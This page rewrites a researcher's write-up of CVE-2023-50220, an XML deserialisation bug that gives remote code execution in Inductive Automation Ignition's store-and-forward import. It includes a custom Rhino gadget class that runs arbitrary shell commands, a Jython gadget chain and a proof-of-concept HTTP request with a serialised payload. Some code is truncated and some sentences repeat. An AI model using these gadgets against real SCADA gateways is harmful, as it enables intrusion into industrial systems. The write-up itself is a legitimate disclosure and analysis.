Skip to content
RCE Write-up Advanced

CVE-2023–50220 — Inductive Automation Ignition XML Deserialization to RCE

Petrus Viet Follow

Published on petrusviet.medium.com

Trong năm 2023 mình có tìm được một số CVE của Ignition, hôm nay mình xin chia sẻ lại 1 bug trong số chúng. Dù không phải là bug có độ impact cao nhất nhưng mình cảm thấy thích thú với nó hơn. ~ Hope you enjoy it ~

Petrus Viet, on petrusviet.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

Inductive Automation Ignition is a SCADA/gateway product. This write-up covers a bug the researcher found in 2023 in Ignition's handling of XML imports for the store-and-forward feature. The feature normally lets an operator import quarantined historical data into a configured data store: the gateway receives an XML document describing the data, parses it, and reconstructs the stored objects. The researcher's interest was in unsafe deserialisation, because a review of previous Ignition bugs suggested that class of flaw appeared more often than others.

The report opens by referencing three earlier public talks and write-ups that shaped the approach: the ProjectDownload.getDiffs unauthenticated access and insecure Java deserialisation issues presented by @pedrib1337 and @RabbitPro, the RNG seed attack against ScriptInvoke.execute presented by Chris Anastasio and Steven Seeley (mr_me), and an insecure XML deserialisation leading to admin RCE presented by @chudypb. The last one is the closest relative of this bug, and the researcher says it was the analysis and exploit work that made it interesting, even though its impact is lower than the others.

Setup

The researcher ran Ignition locally and enabled remote debugging. In C:\Program Files\Inductive Automation\Ignition\data\ignition.conf, two commented lines are uncommented:

Text
wrapper.java.additional.2=-Xdebug
wrapper.java.additional.3=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000

A proxy client is then configured for the application. The first setting is passed to the embedded Chromium client:

From the original on petrusviet.medium.com
Text
-Dignition.chromium.switch.proxy-server=[redacted]:9999

The next screenshots show the Java proxy settings being added:

From the original on petrusviet.medium.com
Text
-Dhttp.proxyHost=[redacted];-Dhttp.proxyPort=9999

The report does not state the Ignition version under test, the account or role used, or the exact build.

Finding it

The researcher framed the work as three problems: find the sink and the source, build the XML payload, and find a gadget chain. For the gadget chain the usual order is to fuzz everything in ysoserial, then check whether the product ships libraries that match the dependencies of an existing gadget (possibly needing small edits for version differences), and only then write a new chain.

Locating the sink

While looking at the /system/gateway API and its Gateway.doPost handler, the researcher noticed how XML input is parsed:

Text
reader = this.readerPool.checkOut(); // com.sun.org.apache.[redacted].jaxp.SAXParserImpl$JAXPSAXParser
Message msg = new Message();
reader.setContentHandler(new MessageParser(msg));
try {
  reader.parse(new InputSource(input));
} catch (SAXException var168) {
  this.printErrorResponse(out, 200, "Unable to parse message.", var168);
  return;
}

The handler calls reader.setContentHandler() with a specific ContentHandler, here MessageParser. The question that followed was whether another API parses a different XML object type with a handler that can be abused. setContentHandler takes the ContentHandler interface:

Text
public void setContentHandler (ContentHandler handler);

Many classes implement it. The researcher looked at Base64XmlReader first.

From the original on petrusviet.medium.com

In its getValue method the code calls ClusterUtil.deserializeObject():

Text
public Object getValue() {
  try {
    return StringUtils.isBlank(this.data) ? null : ClusterUtil.deserializeObject(Base64XmlReader.this.context, Base64.decodeAndGunzip(this.data));
  } catch (Exception var2) {
    LoggerFactory.getLogger(this.getClass()).error("Error deserializing object.", var2);
    return null;
  }
}

ClusterUtil.deserializeObject then calls ModuleObjectInputStream.readObject():

Text
public static Object deserializeObject(GatewayContext context, InputStream stream) throws Exception {
  ObjectInputStream ois = new ModuleObjectInputStream(stream, context.getModuleManager());
  Object o = ois.readObject();
  ois.close();
  return o;
}

That is a deserialisation sink. The harder part is reaching it. The clues: Base64XmlReader is used in HistoryFlavor.getXmlImportHandler():

Text
public SimpleXMLReader<HistoricalData> getXmlImportHandler(GatewayContext context) {
  return new HistoryFlavor.Base64XmlReader(context);
}

and HistoryFlavor.getXmlImportHandler() is called from QuarantinedXmlImporter.startElement().

From the original on petrusviet.medium.com

startElement() is a SAX callback, so the next question is where QuarantinedXmlImporter itself is parsed. The answer is in QuarantinedXmlImporter.doImport(), which calls parser.parse(src, this), parsing the input with this as the handler:

Text
public void doImport(InputStream srcIS) throws Exception {
  SAXParserFactory factory = SAXParserFactory.newInstance();
  factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  InputStream is = null;
  SAXParser parser = factory.newSAXParser();
  try {
    is = new UnicodeInputStream(srcIS, "UTF-8");
    InputSource src = new InputSource(is);
    src.setEncoding("UTF-8");
    parser.parse(src, this);
  } catch (SAXParseException var9) {
    throw new Exception("Error parsing XML on line " + var9.getLineNumber() + ": " + var9.getMessage(), var9);
  } finally {
    IOUtils.closeQuietly(is);
  }
}

Tracing upwards gives the call stack:

Text
// stack trace
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.mount()
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.importData()
com.inductiveautomation.ignition.gateway.history.HistoryManagerImpl.importQuarantinedFromXML()
com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.doImport()

In mount, requests to /store_forward_import/:storeName are mapped to StoreAndForwardRoutes.importData():

Text
public void mount(RouteGroup routes) {
  routes.newRoute("/store_forward").handler(this::getHistoryStoreData).type("application/json").restrict(WicketAccessControl.STATUS_SECTION).mount();
  ......
  routes.newRoute("/store_forward_import/:storeName")
     .method(HttpMethod.POST)
     .handler((req, res) -> this.importData(req, res, req.getParameter("storeName")))
     .restrict(
        RouteAccessControl.requireAll(
           new RouteAccessControl[]{WicketAccessControl.STATUS_SECTION, WicketAccessControl.CONFIG_SECTION, EdgeAccessControl.NOT_EDGE}
        )
     )
     .mount();
}

The route requires the status section and configuration section permissions and is not available on Edge. Searching all files for /store_forward_import/ turned up a JavaScript file containing the string /data/status/store_forward_import/, which suggests the root path of the API is /data/status.

From the original on petrusviet.medium.com

A test request confirmed the code path was reached.

From the original on petrusviet.medium.com

Exploitation

Step 1: satisfy the multipart input

StoreAndForwardRoutes.importData() reads the input with Part part = r.getPart("file");, so the request must be multipart and the XML must be in a file part named file.

From the original on petrusviet.medium.com

Step 2: pick a valid store name

In HistoryManagerImpl.importQuarantinedFromXML(), the code calls this.getStore("test") and gets null, producing a store not found error.

From the original on petrusviet.medium.com

getStore looks up a DataSink in the dataStoreEngines variable, which at that point holds a single value keyed sample_sqlite_database.

From the original on petrusviet.medium.com

Sending the request with store name sample_sqlite_database lets execution continue into QuarantinedXmlImporter.doImport().

Step 3: reach the flavour lookup

Back in QuarantinedXmlImporter.startElement(), calling f.getXmlImportHandler() requires an element named data with two attributes, flavor and subtype.

From the original on petrusviet.medium.com

A first test input:

XML
<?xml version="1.0"?><data flavor="flavor" subtype="subtype"></data>

The code then calls this.mgr.lookupFlavor(flavor, subType) to obtain f, which must be a HistoryFlavor object.

From the original on petrusviet.medium.com

Looking up the flavorRegistry variable shows an existing value of type HistoryFlavor keyed datasourcedata/.

From the original on petrusviet.medium.com

The flavorKey method builds the key from user input by joining type (the flavour) and subtype:

Text
private String flavorKey(String type, String subtype) {
  return String.format("%s/%s", type, StringUtils.defaultString(subtype).toLowerCase());
}

To get the key __datasourcedata__/, the input must be flavour __datasourcedata__ with an empty subtype:

XML
<?xml version="1.0"?><data flavor="__datasourcedata__" subtype=""></data>

Step 4: supply the serialised object

In HistoryFlavor.writeToXml, an object is converted to XML by serializing it, encoding the result as base64, and placing it in a base64 element:

Text
public void writeToXml(SimpleXMLWriter writer, HistoricalData data) throws Exception {
  writer.writeElement("base64", Collections.emptyList(), Base64.encodeObject(data, 2));
}

So the payload document needs a base64 element inside data:

XML
<?xml version="1.0"?><data flavor="__datasourcedata__" subtype="">
  <base64>base64_string</base64>
</data>

With that, the input reaches the deserialisation sink.

From the original on petrusviet.medium.com

Step 5: gadget chain, first attempt

A URLDNS gadget worked, confirming the sink.

From the original on petrusviet.medium.com

None of the other ysoserial gadgets worked out of the box. The researcher found Ignition\lib\core\designer\rhino-1.7.6.jar, and ysoserial has a MozillaRhino2 gadget requiring rhino:js:1.7R2, so the plan was to adapt it. MozillaRhino2 failed because org.apache.xalan.xsltc.trax.TemplatesImpl was not found, so the researcher rewrote it around org.mozilla.javascript.NativeScript:

Text
package ysoserial.payloads;

import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;

@Dependencies({"rhino:js:1.7R2"}) // tested rhino-1.7.6.jar
@Authors({ Authors.TINT0 }) // customs from MozillaRhino2 by PetrusViet
public class MozillaRhino3 implements ObjectPayload<Object> {

    public Object getObject( String command) throws Exception {
        //command = "var rt= new java.lang.ProcessBuilder(); rt.command('"+command+"');rt.start();";
        command = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n" +
            "var cmd = new java.lang.String(\""+command+"\");\n" +
            "var p = new java.lang.ProcessBuilder();\n" +
            "if(isWin){p.command(\"cmd.exe\",\"/c\",cmd);} else{p.command(\"bash\",\"-c\",cmd);}\n" +
            "p.redirectErrorStream(true);\n" +
            "p.start();";

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        Reflections.setAccessible(nativeErrorConstructor);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        ScriptableObject dummyScope = new Environment();
        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);

        Context context = Context.enter();

        Object initContextMemberBox = Reflections.createWithConstructor(
            Class.forName("org.mozilla.javascript.MemberBox"),
            (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
            new Class[] {Method.class},
            new Object[] {Context.class.getMethod("enter")});

        ScriptableObject scriptableObject = new Environment();
        (new ClassCache()).associate(scriptableObject);

        try {
            Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[1];
            ctor1.setAccessible(true);
            ctor1.newInstance(scriptableObject, "java",
                "org.mozilla.javascript.NativeJavaTopPackage", false, true);
        }catch(ArrayIndexOutOfBoundsException e){
            Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[0];
            ctor1.setAccessible(true);
            ctor1.newInstance(scriptableObject, "java",
                "org.mozilla.javascript.NativeJavaTopPackage", false);
        }

        Interpreter interpreter = new Interpreter();
        Method mt = Context.class.getDeclaredMethod("compileString", String.class, Evaluator.class, ErrorReporter.class, String.class, int.class, Object.class);
        mt.setAccessible(true);
        Script script = (Script) mt.invoke(context, new Object[]{ command,interpreter, null,"test", 0, null});

        Constructor<?> ctor = Class.forName("org.mozilla.javascript.NativeScript").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        Object nativeScript = ctor.newInstance(script);

        Method setParent = ScriptableObject.class.getDeclaredMethod("setParentScope", Scriptable.class);
        setParent.invoke(nativeScript, scriptableObject);

        try {
            //1.7.13
            Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"));
            Object getterEnum = Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess").getEnumConstants()[3];
            Reflections.setAccessible(makeSlot);
            Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, getterEnum);
            Reflections.setFieldValue(slot, "getter", initContextMemberBox);
        }catch(ClassNotFoundException e){
            try {
                //1.7R2
                Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, int.class);
                Reflections.setAccessible(makeSlot);
                Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
                Reflections.setFieldValue(slot, "getter", initContextMemberBox);
            }catch(NoSuchMethodException ee) {
                //[redacted]
                Method makeSlot = ScriptableObject.class.getDeclaredMethod("createSlot", Object.class, int.class, int.class);
                Reflections.setAccessible(makeSlot);
                Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
                Reflections.setFieldValue(slot, "getter", initContextMemberBox);
            }
        }

        idScriptableObject.setGetterOrSetter("directory", 0, (Callable) nativeScript, false);

        NativeJavaObject nativeJavaObject = new NativeJavaObject();
        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
        Reflections.setFieldValue(nativeJavaObject, "javaObject", idScriptableObject);

        return nativeJavaObject;
    }

    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
        out.writeObject("java.lang.Object");
        out.writeObject(new String[0]);
        out.writeObjec

The chain ran correctly in local tests, but during the actual exploit the program could not find rhino even though the library was on the classpath. Checking again showed that libraries under \lib\core\designer are not loaded by default, so the custom chain was wasted effort.

From the original on petrusviet.medium.com

Step 6: gadget chain, second attempt

A deeper search found Ignition\lib\core\common\jython-ia-2.7.2.1.jar, and this time the \lib\core directory is loaded by default. ysoserial has a Jython1 gadget requiring org.python:jython-standalone:2.5.2, so the researcher debugged it to see what needed fixing.

The problem is the Jython version. In the version Ignition ships, the PyFunction class has a readResolve() that always throws:

Text
private Object readResolve() {
  throw new UnsupportedOperationException();
}

That makes PyFunction impossible to deserialise. When readObject() runs, execution passes through several methods and reaches ObjectInputStream.readOrdinaryObject(), which checks whether the target object has a readResolve() method and calls it if so:

From the original on petrusviet.medium.com

So PyFunction.readResolve() is invoked and throws UnsupportedOperationException.

From the original on petrusviet.medium.com

In the Jython1 gadget, PyFunction is the class that receives the compare(x,y) function call from the proxy class:

From the original on petrusviet.medium.com

The researcher asked whether another class could replace PyFunction. To receive a call from a proxy class it must implement InvocationHandler, so the search was for such classes inside Jython. PyMethod implements InvocationHandler and can still be deserialised. Debugging and payload work confirmed it is a good replacement, but using PyMethod differs from PyFunction in several ways, and at that point the researcher looked for an existing Jython2 chain instead. One was found, and because the exact payload could no longer be located on GitHub when the blog was written, it is reproduced here without a reference:

Text
 Gadget chain:
  ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
       Map.entrySet() //[Implemented as a proxy class with PyMethod InvocationHandler]
           PyMethod.__call__()
               PyMethod.__call__(state)
                   PyMethod.__call__(state, arg0)
                       BuiltinFunctions.__call__(state, arg0, arg1)
                           __builtin__.eval(arg1, arg2, arg3)
                               Py.runCode(code, locals, globals);

In AnnotationInvocationHandler.readObject() the code calls streamVals.entrySet():

From the original on petrusviet.medium.com

streamVals is the proxy object, so the entrySet call is dispatched to the handler class, PyMethod:

From the original on petrusviet.medium.com

After the PyMethod.__call__() chain, execution reaches __builtin__.eval():

From the original on petrusviet.medium.com

and finally runs Python code with Py.runCode(code, locals, globals);:

From the original on petrusviet.medium.com

Step 7: the PoC request

The following request creates the file C:\petrusviet.txt:

HTTP
POST /data/status/store_forward_import/test HTTP/1.1
Host: localhost:8088
Content-Length: 6258
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----[redacted]
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=$COOKIE$
Connection: close

------[redacted]
Content-Disposition: form-data; name="file"; filename="ahihi"
Content-Type: text/xml

<?xml version="1.0"?><cachedata><data flavor="__datasourcedata__" subtype=""><base64>[redacted]+[redacted]+[redacted]+[redacted]+AApwc3EAfgAOcQB+[redacted]+[redacted]+[redacted]+AA94cQB+AApwc3EAfgAOcQB+[redacted]+[redacted]+[redacted]+[redacted]+cQB+ADV0AAxDT19PUFRJTUlaRUR+cQB+ADV0AAxDT19ORVdMT0NBTFN+cQB+ADV0AAlDT19ORVNURUR+cQB+[redacted]+ACFxAH4AIQAAAAIAAAAA/////3VyAAJbQqzzF/[redacted]/[redacted]/[redacted]+[redacted]+I2LzgIAAlsABWFycmF5cQB+[redacted]+[redacted]+[redacted]+[redacted]+[redacted]+AGNwdAAHUnVudGltZXBzcQB+AGBwcQB+AGRzcQB+[redacted]+PiBDOlxccGV0cnVzdmlldC50eHR1cQB+[redacted]+[redacted]/[redacted]

The request targets /data/status/store_forward_import/test with a multipart body whose file part carries the XML. The XML wraps the data element (flavour __datasourcedata__, empty subtype) inside a cachedata root, and the base64 element holds the serialised Jython gadget. The decoded command inside the payload is cmd /c type NUL > C:\petrusviet.txt & echo HACKED >> C:\petrusviet.txt, which creates the file and appends a marker to it. The Cookie header carries the session; the report shows it as a placeholder.

Root cause

The chain of trust is broken at several points. The /store_forward_import/:storeName route accepts an uploaded XML document and hands it to QuarantinedXmlImporter.doImport(), which parses it with itself as the SAX handler. startElement() then uses the attacker-controlled flavor and subtype attributes to look up a HistoryFlavor in the registry, and the base64 element is passed to HistoryFlavor.Base64XmlReader.getValue(), which base64-decodes and gunzips the data and calls ClusterUtil.deserializeObject(). That method wraps the stream in ModuleObjectInputStream and calls readObject() on attacker-supplied bytes. The stream is wrapped in ModuleObjectInputStream and readObject() is called on attacker-supplied bytes. The XML parser disables external general entities before parsing.

The route is protected by WicketAccessControl.STATUS_SECTION, WicketAccessControl.CONFIG_SECTION and EdgeAccessControl.NOT_EDGE, so the attacker needs a session that satisfies those checks. The report does not describe how such a session is obtained; the earlier ProjectDownload.getDiffs issue it references is a separate unauthenticated access bug, and the report does not claim it was chained here.

Impact

The result is remote code execution in the gateway process, demonstrated by creating C:\petrusviet.txt on the host. The PoC creates C:\petrusviet.txt on the host, showing code execution in the gateway process. The report describes the impact as lower than the other Ignition bugs it references, and the route's access controls and the NOT_EDGE restriction limit who can reach it.

Fix

The timeline records the case being opened on 2023-07-19, vendor disclosure as ZDI-CAN-21801 on 2023-08-09, and public disclosure as ZDI-24-015, CVE-2023-50220, on 2024-01-05.

Variants to test

  1. Other ContentHandler implementations. The researcher's starting point was that setContentHandler accepts any ContentHandler, and Base64XmlReader was only the first one inspected. Enumerate every class implementing ContentHandler in the product and check whether its callbacks reach a deserialisation or expression evaluation sink. A positive result is a request that reaches readObject() or similar with attacker-controlled bytes.
  2. Other routes that call QuarantinedXmlImporter or HistoryManagerImpl.importQuarantinedFromXML(). The stack trace shows one route; grep for other callers. A positive result is a second endpoint that accepts an XML upload and reaches the same importer.
  3. Other flavours in flavorRegistry. The researcher used the existing __datasourcedata__ entry. Check whether other registered flavours have writeToXml or reader implementations that deserialise differently, and whether their keys can be reached through flavorKey. A positive result is a flavour whose import path calls a deserialisation method without filtering.
  4. Other libraries under \lib\core. The Rhino attempt failed because \lib\core\designer is not loaded by default, while Jython under \lib\core\common is. List the jars that are actually loaded and match them against ysoserial dependencies. A positive result is a gadget whose required classes resolve at runtime.
  5. Classes implementing InvocationHandler that are serializable. PyMethod replaced PyFunction because it implements InvocationHandler and can still be deserialised. Look for similar classes in other bundled libraries. A positive result is a proxy whose handler dispatches to a dangerous method such as eval or exec.
  6. readResolve() guards. When a gadget class blocks deserialisation with a throwing readResolve(), look for an alternative class with the same role. A positive result is a substitute that survives ObjectInputStream.readOrdinaryObject() and still reaches the sink.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 30 min read.

What happened, in plain words

Inductive Automation Ignition is a piece of software that factories and utility companies use to watch over and control physical equipment, such as pumps, valves and sensors. Software in this category is called SCADA, short for supervisory control and data acquisition. Ignition runs as a central service, called a gateway, that many operators connect to through a web browser.

One of its features is called store-and-forward. When the gateway cannot reach a data store (a database where measurements are kept), it holds the data back in a quarantine area and forwards it later. An operator can also import quarantined data by hand: they upload a file describing the data, the gateway reads it, and it rebuilds the stored objects from that file.

In 2023 the researcher found that this import feature could be tricked. By uploading a specially crafted file, an attacker could make the gateway run a command on the server. This kind of flaw is called remote code execution, or RCE for short: the attacker gets the machine to execute their instructions.

The underlying weakness is called insecure deserialisation. To understand it, imagine a moving company. You pack your furniture into boxes, label them, and the movers rebuild your room at the other end. Serialisation is the packing: turning a live object in memory into a stream of bytes that can be stored or sent. Deserialisation is the unpacking: turning those bytes back into a live object. The danger is that unpacking can do more than rebuild furniture. Some objects, when rebuilt, automatically run code as part of the rebuilding. If an attacker controls the bytes, they can choose objects that do exactly that. The attacker's chosen set of objects, arranged so that unpacking one triggers the next until something dangerous runs, is called a gadget chain.

The researcher's interest in this class of bug came from studying earlier Ignition bugs. Three public talks and write-ups shaped the approach:

  1. Work by @pedrib1337 and @RabbitPro on ProjectDownload.getDiffs, where an unauthenticated access flaw leaked a project name and an insecure Java deserialisation flaw in the same function allowed RCE with a gadget chain called CommonsBeanutils1.
  2. Work by Chris Anastasio and Steven Seeley (mr_me) that attacked a random number generator: the seed could be recovered from a leaked system time, the random bytes rebuilt, hashed into a session value, and tried one by one until one was valid, leading to RCE through ScriptInvoke.execute.
  3. Work by @chudypb on insecure XML deserialisation leading to admin RCE. This is the closest relative of the bug described here, and although its impact is lower than the others, the analysis and exploit work made it the most interesting.

After reviewing the older bugs, the researcher felt that unsafe deserialisation appeared more often than other classes in this product, and focused the search there.

Setting up a lab

To study the software safely, the researcher ran Ignition on their own machine and attached a debugger. A debugger is a tool that lets you pause a running program, look at what it is doing, and step through it line by line. To allow the debugger to connect, two lines in a configuration file are uncommented. A configuration file is a plain text file of settings; a line starting with # is a comment, ignored by the program, so uncommenting means removing the marker so the setting takes effect.

The file is C:\Program Files\Inductive Automation\Ignition\data\ignition.conf, and the two lines are:

Text
wrapper.java.additional.2=-Xdebug
wrapper.java.additional.3=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000

Line by line:

  • wrapper.java.additional.2=-Xdebug tells the Java runtime, which is the engine Ignition runs on, to switch on debugging support.
  • wrapper.java.additional.3=-Xrunjdwp:... opens a debugging channel. transport=dt_socket means it listens on a network socket, server=y means Ignition waits for the debugger to connect, suspend=n means it does not pause at startup waiting for one, and address=*:8000 means it listens on port 8000 on all network interfaces. A port is a numbered door on a computer that a program listens at.

Next, a proxy client is configured. A proxy is an intermediary: instead of the application talking directly to the internet, it sends its traffic through a tool the researcher controls, which can record and inspect every request. The first setting goes to the embedded Chromium client, the browser component built into Ignition's interface:

From the original on petrusviet.medium.com
Text
-Dignition.chromium.switch.proxy-server=[redacted]:9999

This tells the embedded browser to send its traffic to [redacted] (the local machine, also called localhost) on port 9999, where the proxy tool is listening.

The next screenshots show the Java proxy settings being added:

From the original on petrusviet.medium.com
Text
-Dhttp.proxyHost=[redacted];-Dhttp.proxyPort=9999

This does the same for the Java side of the application: http.proxyHost names the proxy machine and http.proxyPort names its port. With both settings in place, every request the application makes can be watched.

The report does not state which Ignition version was tested, which account or role was used, or the exact build. A session is the state of being logged in: after you log in, the server gives your browser a cookie, a small piece of data it sends back on every request so the server recognises you.

Finding the bug

The researcher framed the work as three problems:

  1. Find the sink and the source. The sink is the place in the code where dangerous work happens, here deserialisation. The source is the place where attacker-controlled input enters. You need both: a sink alone is not reachable, a source alone is harmless.
  2. Build the XML payload. XML is a text format for structured data, using tags in angle brackets such as <data>...</data>. The payload is the malicious content you want the program to process. Sometimes there is no sample request or documentation, so the XML has to be reconstructed by reading the code.
  3. Find a gadget chain. Reaching the deserialisation point is not enough; without a chain of objects that does something useful when unpacked, there is nothing to exploit.

For the gadget chain, the usual order is:

  1. Try every gadget in ysoserial, a well-known collection of ready-made Java gadget chains. If you are lucky, one works and you are done.
  2. Check whether the product ships libraries that match the dependencies of an existing gadget. A dependency is another piece of software a program needs in order to work. Maybe only a small edit is needed because of a version difference, or because one class in the chain is unusable but can be swapped for another.
  3. If nothing fits, write a completely new chain.

Locating the sink

While looking at the /system/gateway API and its Gateway.doPost handler, the researcher noticed how XML input is parsed. An API is an address on a server that programs talk to; a handler is the piece of code that runs when a request arrives at an address. doPost means it handles POST requests, the kind a browser sends when you submit a form.

Text
reader = this.readerPool.checkOut(); // com.sun.org.apache.[redacted].jaxp.SAXParserImpl$JAXPSAXParser
Message msg = new Message();
reader.setContentHandler(new MessageParser(msg));
try {
  reader.parse(new InputSource(input));
} catch (SAXException var168) {
  this.printErrorResponse(out, 200, "Unable to parse message.", var168);
  return;
}

Line by line:

  • reader = this.readerPool.checkOut(); takes a reusable XML parser from a pool. A parser is a program that reads text and works out its structure. The comment names the class behind it, a SAX parser. SAX is a style of parsing where, instead of building the whole document in memory, the parser walks through it and calls your code at each event, such as "a tag started" or "a tag ended".
  • Message msg = new Message(); creates an empty object to hold the result.
  • reader.setContentHandler(new MessageParser(msg)); tells the parser which object should receive those events. MessageParser is the handler here.
  • reader.parse(new InputSource(input)); starts parsing the input.
  • The catch block handles a parse error by sending an error response.

The handler calls reader.setContentHandler() with a specific ContentHandler, here MessageParser. The question that followed was whether another API parses a different XML object type with a handler that can be abused. setContentHandler takes the ContentHandler interface:

Text
public void setContentHandler (ContentHandler handler);

An interface is a contract: it says what methods a class must have, without saying how they work. Any class that signs this contract can be plugged in where a ContentHandler is expected. Many classes implement it. The researcher looked at Base64XmlReader first.

From the original on petrusviet.medium.com

In its getValue method the code calls ClusterUtil.deserializeObject():

Text
public Object getValue() {
  try {
    return StringUtils.isBlank(this.data) ? null : ClusterUtil.deserializeObject(Base64XmlReader.this.context, Base64.decodeAndGunzip(this.data));
  } catch (Exception var2) {
    LoggerFactory.getLogger(this.getClass()).error("Error deserializing object.", var2);
    return null;
  }
}

Line by line:

  • public Object getValue() { declares a method that returns some object.
  • StringUtils.isBlank(this.data) ? null : ... is a shorthand if: if the stored data is empty, return nothing; otherwise do the work after the colon.
  • Base64.decodeAndGunzip(this.data) takes the stored text, decodes it from base64 and decompresses it. Base64 is a way of writing binary data using only ordinary letters and digits, so it can travel inside text formats such as XML. Gzip is a compression format that shrinks data.
  • ClusterUtil.deserializeObject(...) hands the decoded bytes to a deserialisation routine. This is the sink.
  • The catch block logs an error and returns nothing if anything fails.

ClusterUtil.deserializeObject then calls ModuleObjectInputStream.readObject():

Text
public static Object deserializeObject(GatewayContext context, InputStream stream) throws Exception {
  ObjectInputStream ois = new ModuleObjectInputStream(stream, context.getModuleManager());
  Object o = ois.readObject();
  ois.close();
  return o;
}

Line by line:

  • ObjectInputStream ois = new ModuleObjectInputStream(stream, context.getModuleManager()); wraps the incoming bytes in a stream reader. ObjectInputStream is the standard Java class that turns bytes back into objects; ModuleObjectInputStream is Ignition's own variant.
  • Object o = ois.readObject(); is the actual unpacking. This is where attacker-supplied bytes become live objects, and where a gadget chain would run.
  • ois.close(); closes the stream, and return o; returns the rebuilt object.

That is a deserialisation sink. The harder part is reaching it. The clues: Base64XmlReader is used in HistoryFlavor.getXmlImportHandler():

Text
public SimpleXMLReader<HistoricalData> getXmlImportHandler(GatewayContext context) {
  return new HistoryFlavor.Base64XmlReader(context);
}

This method simply creates and returns a Base64XmlReader. A flavour, spelled flavor in the code, is Ignition's name for a kind of historical data, and each flavour knows how to read and write its own XML format.

and HistoryFlavor.getXmlImportHandler() is called from QuarantinedXmlImporter.startElement().

From the original on petrusviet.medium.com

startElement() is a SAX callback, one of the events the parser fires when it meets an opening tag. So the next question is where QuarantinedXmlImporter itself is parsed. The answer is in QuarantinedXmlImporter.doImport(), which calls parser.parse(src, this), parsing the input with this as the handler:

Text
public void doImport(InputStream srcIS) throws Exception {
  SAXParserFactory factory = SAXParserFactory.newInstance();
  factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  InputStream is = null;
  SAXParser parser = factory.newSAXParser();
  try {
    is = new UnicodeInputStream(srcIS, "UTF-8");
    InputSource src = new InputSource(is);
    src.setEncoding("UTF-8");
    parser.parse(src, this);
  } catch (SAXParseException var9) {
    throw new Exception("Error parsing XML on line " + var9.getLineNumber() + ": " + var9.getMessage(), var9);
  } finally {
    IOUtils.closeQuietly(is);
  }
}

Line by line:

  • SAXParserFactory factory = SAXParserFactory.newInstance(); creates a factory, an object whose job is to build parsers.
  • factory.setFeature("http://xml.org/sax/features/external-general-entities", false); switches off external general entities. An entity is a named placeholder inside XML that gets replaced by other content; an external entity pulls that content from a file or URL. Leaving it on allows an XML External Entity attack, or XXE, where the parser is tricked into reading local files or making network requests. Turning it off blocks XXE, but as we will see it does nothing about deserialisation.
  • SAXParser parser = factory.newSAXParser(); builds the parser.
  • is = new UnicodeInputStream(srcIS, "UTF-8"); wraps the incoming bytes so they are read as UTF-8 text, a standard character encoding.
  • InputSource src = new InputSource(is); src.setEncoding("UTF-8"); packages the stream as parser input and states the encoding.
  • parser.parse(src, this); starts parsing, with this (the QuarantinedXmlImporter object itself) receiving the events.
  • The catch block turns a parse error into an exception with the line number, and the finally block closes the stream whatever happens.

Tracing upwards gives the call stack, the list of functions that led to this point, read from the outermost caller down:

Text
// stack trace
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.mount()
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.importData()
com.inductiveautomation.ignition.gateway.history.HistoryManagerImpl.importQuarantinedFromXML()
com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.doImport()

Read from the bottom up, this says: doImport was called by importQuarantinedFromXML, which was called by importData, which was set up by mount. mount is where routes are registered. A route is a rule that says which address leads to which code.

In mount, requests to /store_forward_import/:storeName are mapped to StoreAndForwardRoutes.importData():

Text
public void mount(RouteGroup routes) {
  routes.newRoute("/store_forward").handler(this::getHistoryStoreData).type("application/json").restrict(WicketAccessControl.STATUS_SECTION).mount();
  ......
